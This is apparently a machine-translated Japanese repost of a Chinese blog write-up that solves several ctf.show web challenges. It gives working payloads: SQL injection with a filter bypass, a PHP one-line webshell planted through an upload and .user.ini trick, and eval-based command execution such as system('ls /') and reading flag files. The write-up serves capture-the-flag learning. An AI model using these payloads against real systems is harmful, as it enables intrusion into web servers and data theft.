[ctf.show-web コンテストの質問]


一、ctf.show_web10

ログインボックスのページに来てください
ここに画像の説明を挿入

キャンセルボタンをクリックするとソースコードが表示されます

<?php
		$flag="";
        function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
    
    
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						if($password==$row['password']){
    
    
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

多くのインジェクション ステートメントがフィルタリングされています。Group
by と with rollup は、ここでは主に group by を組み合わせるために使用されます
。言うまでもなく、これは配置であり、デフォルトでは昇順で
rollup が付いています (group by の後に with rollup を続けることもできます)。 (グループ統計に基づいて要約統計が再度実行されることを示します)
結果には余分な行が表示されます。パスワード列は NULL で、カウント (*) は統計の合計です。
例えば:

select password,count(*) from test group by password with rollup;

そこでペイロードを構築します。

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

ロールアップで追加した後、パスワードには NULL の行があるため、空のパスワードを入力するだけで (NULL==NULL)、スペース フィルターをバイパスするために /**/ が使用されます。

ここに画像の説明を挿入


フラグctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}を取得できます


二、ctf.show_web11

ホームページに来てください
ここに画像の説明を挿入

PHP コードには多くの制限があることがわかります。
フラグの取得方法に注意してください$password==$_SESSION['password']。パスワードは自分で入力します。セッション内のパスワードはローカルに保存されるため、空のパスワードを入力してローカル セッションを削除するだけで済みます。無事バイパスされました。

ここに画像の説明を挿入

フラグを取得:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}

3.ctf.show_web12

ホームページに来てください
ここに画像の説明を挿入

まずはソースコードをチェックしてみよう
ここに画像の説明を挿入

プロンプト cmd 変数があり、バックグラウンドでコードを実行する機能がある可能性があることを示しています。Input
phpinfo(); php 構成情報を表示します。
ここに画像の説明を挿入

多くのコマンド実行メソッドが無効になっていることがわかります
。highlight_file("index.php"); を使用することもできます。ソース コードを表示します。
ここに画像の説明を挿入
これは別の php 関数 glob() です。glob
() 関数は、一致するファイル名またはディレクトリを返します。指定されたパターン。
例えば:

glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件

この方法では、まず現在のディレクトリ内のすべてのファイルを検索して、それらのファイルが利用可能かどうかを確認します。Input?cmd=print_r(glob(“*”)); 次のファイルを出力し
ここに画像の説明を挿入
、ファイルを読み取ります

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

ここに画像の説明を挿入

フラグを取得:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}

4.ctf.show_web13

ページにアクセスして
ここに画像の説明を挿入
ファイルをアップロードしようとしますが、効果はありません。隠しディレクトリを見つけてください。
ここに画像の説明を挿入

Upload.php が見つかりました。upload.php.bak を試してソース コード ファイルを取得してください

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
    
    
		die("error file zise");
	}
	if (strlen($filename)>9){
    
    
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
    
    
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
    
    
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
    
    
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
    
    
		echo "文件上传成功!";
	}else{
    
    
		echo "文件上传失败!";
	}

 ?>

ソースコードを取得したところ、制限付きファイルのサイズは <=24、名前の長さは <=9、サフィックスの長さは <=3 であり、名前とサフィックスに php を含めることはできないことがわかりました。このようなトロイの木馬は
構築可能です

<?php eval($_POST['a']);

接尾辞があるため、最初に 2.txt をアップロードして
ここに画像の説明を挿入
から、.user.ini ファイルをアップロードします。
php の .user.ini には次の説明があります:
PHP は各ディレクトリ内のファイル名を検索します; 空の文字列に設定されている場合、つまりファイル名が .user に設定されている場合、PHP は検索しません。 ini にすると、どのページにもファイルの内容が含まれます。
.user.ini に auto_prepend_file = 2.txt と入力して、このディレクトリ内のすべてのファイルに 2.txt の内容が含まれるようにします。
//
アリの剣が接続された後、ファイルを操作する権限がないことがわかります。ウェブページに直接アクセスして、フラグを調べてください。
POSTで送信

a=print_r(glob("*"));

次に、highlight_file() を使用してフラグを取得します。

a=highlight_file("文件名");

5. ベジタブルドッグカップ

1. Webサインイン

ページに来てください
ここに画像の説明を挿入

コード

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

長い間試してきたのですが、これは本当にサインインに関する質問ですか? 偉い人の WP を読んだ後、調査を要約すると、
リクエスト メソッドと割り当ての関係、および Cookie フィールドの中国語エンコーディングです。

主な理由は、最後の一文のトロイの木馬が使用されていることですが、これは入れ子が多く、まず一番内側が
「CTFshow-QQ group:」で、先頭が $_COOKIE です。つまり、Cookie 内の「CTFshow-QQ グループ」が取得され、その値を
Cookie で渡すとCTFshow-QQ群:=a、一文のトロイの木馬は次のようになります。

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

$_POST[a] は POST で渡されるパラメータの値であり、それを に渡すとa=b、次のようになります。

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b] は、GET モードで b パラメータの値を渡し、値を b に代入して次の値をb=c取得します。

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4]、これは$_REQUEST任意の方法でリクエストできます。c は配列であり、$_REQUEST リクエストで渡される値は[6][0][7][5][8][0][9][4][4]C 配列の ID キーの値です。PHP 配列では ID キーに値を割り当てることができるため、
C 配列のこれらのキーに値を直接割り当てることができます。
c[6][0][7][5][8][0][9][4][4]= system('ls /');

そのため、POST フォームを使用してパッケージを送信し、“群”URL エンコーディングを使用することに%E7%BE%A4注意してください。そうしないと、burp がそれを認識しません (c に値を割り当てるとき、値をリクエスト ヘッダーまたはリクエスト エンティティに配置できます。 request メソッドは get または post の形式にすることができます。accept)

ここではhackbarを便利に使用している
ここに画像の説明を挿入
ので、flagaaaファイルを取得し、コマンドを入力してcat /f1agaaaフラグを取得し
ここに画像の説明を挿入
、多くのことを取得します

2.web2 c0me_t0_s1gn

ページにアクセスすると
ここに画像の説明を挿入
、情報があるというメッセージが表示されました。Yujian と dirsearch を使用してディレクトリを見つけようとしましたが、見つかりませんでした。後でページのソース コードを確認しました。フラグに関するいくつかの情報を取得し、コンソールへの特定のプロンプトに従いました。操作メソッドにフラグを見つけるように
ここに画像の説明を挿入
求められ、実行後にフラグが見つかりました。フラグの後半の情報は結合できます。
ここに画像の説明を挿入

ここに画像の説明を挿入

3. 目には $ しかありません

ページに来てください
ここに画像の説明を挿入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

パラメーターを渡すために post メソッドが使用されていることがわかります。ここでは変数のネスト、一連の$変数を調べています_。初期変数は である必要があるため、変数を順番に定義してコマンドに割り当てる必要があります。実行後に実行ステートメントを実行し、system('ls /');変数を繰り返すことはできません

スクリプトを書くのはあまり得意ではありません。偉い人を参照してください

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

ここに画像の説明を挿入
フラグを取得するようにコマンドを変更します。

ここに画像の説明を挿入


要約する

フォローアップでは引き続き ctfshow ノートを共有します

おすすめ

転載: blog.csdn.net/qq_61872115/article/details/129690257